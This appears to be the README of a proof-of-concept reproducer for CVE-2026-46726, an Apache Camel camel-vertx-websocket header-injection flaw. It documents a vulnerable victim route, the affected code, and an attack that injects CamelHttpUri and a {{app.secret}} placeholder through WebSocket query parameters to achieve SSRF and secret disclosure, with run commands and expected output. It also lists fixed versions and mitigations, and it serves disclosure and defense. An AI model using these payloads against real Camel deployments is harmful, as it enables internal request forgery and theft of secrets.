## https://sploitus.com/exploit?id=22A1DF37-2711-5CA3-B134-651D135BBDEC
# camel-vertx-websocket Header Injection Reproducer (CVE-2026-46726)
This project demonstrates a **message-header injection** in Apache Camel's `camel-vertx-websocket` component,
tracked as **CVE-2026-46726** (severity **HIGH**). The consumer mapped inbound WebSocket **query and path
parameters** into the Camel Exchange header map **without applying any `HeaderFilterStrategy`**
(`VertxWebsocketConsumer.populateExchangeHeaders()`). Because nothing blocked the Camel header namespace, a client
connecting to the WebSocket endpoint could set Camel-internal control headers โ including `CamelHttpUri`
(`Exchange.HTTP_URI`) โ simply by supplying them as query parameters.
This PoC demonstrates two impacts:
1. **Server-side request forgery (CWE-918)** โ an injected `CamelHttpUri` redirects the downstream HTTP producer
to an attacker-chosen destination (for example an internal-only endpoint or a cloud metadata service).
2. **Secret disclosure (CWE-200)** โ the HTTP producer resolves Camel property placeholders on the resulting
(attacker-controlled) URI, so a placeholder embedded in the injected value โ such as `{{app.secret}}`, an
environment-variable or a vault reference โ is resolved to its real value and sent to the attacker.
Advisory: https://camel.apache.org/security/CVE-2026-46726.html
## Vulnerability Summary
| Property | Value |
|----------|-------|
| **Component** | `camel-vertx-websocket` |
| **Affected Class** | `org.apache.camel.component.vertx.websocket.VertxWebsocketConsumer#populateExchangeHeaders` (no HeaderFilterStrategy on inbound query/path params) |
| **CWE** | CWE-20 โ CWE-918 (SSRF) and CWE-200 (Information Exposure) |
| **Impact** | Inject `CamelHttpUri` via a WebSocket query param โ SSRF from a downstream HTTP producer + disclosure of env/property/vault secrets via placeholder resolution |
| **Preconditions** | A WebSocket consumer bridged into an HTTP producer; unauthenticated when the WS endpoint is |
| **Severity** | HIGH |
| **Affected Versions** | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| **Fixed Versions** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23532 (PR [apache/camel#23285](https://github.com/apache/camel/pull/23285)) |
| **Credit** | Kamalpreet Singh |
> The fix (CAMEL-23532) adds a `VertxWebsocketHeaderFilterStrategy` (and a `headerFilterStrategy` endpoint option)
> that filters the `Camel*` / `camel*` namespace case-insensitively on inbound mapping. It is **shared** with the
> sibling advisories **CVE-2026-55993** (camel-atmosphere-websocket) and **CVE-2026-55994** (camel-iggy).
## Technical Details
```java
// VertxWebsocketConsumer.populateExchangeHeaders (affected 4.18.2) โ inbound params copied with no filter:
routingContext.queryParams()
.forEach((name, value) -> VertxWebsocketHelper.appendHeader(headers, name, value)); // CamelHttpUri passes
routingContext.pathParams()
.forEach((name, value) -> VertxWebsocketHelper.appendHeader(headers, name, value));
// HttpHelper.createURL (camel-http-common) โ the header-supplied URI is used AND placeholder-resolved:
if (uri == null && !endpoint.isBridgeEndpoint()) {
uri = exchange.getIn().getHeader(Exchange.HTTP_URI, String.class); // = injected CamelHttpUri
}
uri = exchange.getContext().resolvePropertyPlaceholders(uri); // {{app.secret}} -> real value
```
## The victim route
```java
from("vertx-websocket:0.0.0.0:8090/feed")
.to("http://localhost:8080/legit-backend?throwExceptionOnFailure=false");
```
The route author's only intended HTTP target is `/legit-backend`. Because `bridgeEndpoint` defaults to `false`,
an inbound `CamelHttpUri` header overrides that target โ and the WebSocket consumer copies it straight from the
connection's query string.
## Repository layout
Everything runs in one self-contained app: the WebSocket consumer, the downstream HTTP sink endpoints, and the
WebSocket-client attacker.
```
CVE-2026-46726/
โโโ pom.xml # camel-vertx-websocket + camel-http 4.18.2 (Netty pinned to 4.1.132, see note)
โโโ Dockerfile
โโโ docker-compose.yml # single self-contained service
โโโ README.md
โโโ src/main/
โโโ java/com/example/
โ โโโ Application.java
โ โโโ VictimRoute.java # from("vertx-websocket:0.0.0.0:8090/feed").to("http://.../legit-backend")
โ โโโ SinkController.java # /legit-backend, /internal/secret, /collect (records what the producer hit)
โ โโโ ExploitController.java # attacker: WebSocket client injecting a CamelHttpUri query param
โโโ resources/
โโโ application.properties # holds the "secret" app.secret property
```
> Note: the pom pins `netty.version=4.1.132.Final` (the version Camel ships). Spring Boot 3.2.0 would otherwise
> pin the older Netty 4.1.101, on which the Vert.x 4.5.26 HTTP server silently fails to answer the WebSocket
> handshake (the port listens but returns no bytes).
## Prerequisites
- Java 17+ and Maven 3.8+
- Docker (optional, for the containerised run)
## Reproduction Steps
### Option A โ Docker (recommended)
```bash
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### Option B โ run the jar directly
```bash
mvn clean package -DskipTests
java -jar target/cve-2026-46726-vertx-websocket-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
```
### Expected output
```
=== 1) Legitimate WebSocket message (no injected query param) ===
reached /legit-backend: true
reached /internal/secret: false
=== 2) Injected CamelHttpUri=http://localhost:8080/internal/secret (SSRF) ===
server-side request reached /internal/secret: true
=== 3) Injected CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}} (secret disclosure) ===
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> Header-injection proof โ an unauthenticated WebSocket client drove the server-side HTTP
>>> request via a CamelHttpUri query param: SSRF=true, secret-disclosure=true
```
The attacker never learns `app.secret` directly; they inject the placeholder `{{app.secret}}` and the HTTP
producer resolves it, sending the real value (`SUPER-SECRET-abc123`) to the attacker's collector.
## Attack Vectors
Any route where a `vertx-websocket` consumer feeds a downstream producer whose behaviour is controlled by Camel
headers. Injectable via the WebSocket URL query/path: `CamelHttpUri` (SSRF + placeholder-based secret
disclosure), and other Camel control headers.
## Recommended Fix
Upgrade to **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23532). After the fix the consumer applies a
`VertxWebsocketHeaderFilterStrategy` that filters the `Camel*` / `camel*` namespace on inbound mapping.
## Mitigation
Until upgrading: strip the Camel control headers before any downstream producer
(`.removeHeaders("Camel*")` and `.removeHeaders("camel*")` at the start of the route), require authentication on
the WebSocket endpoint, and avoid bridging an untrusted consumer directly into an HTTP producer whose target URI
can be driven from message headers.
## Disclaimer
This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed
and fixed** vulnerability. Do not use it against systems without explicit permission.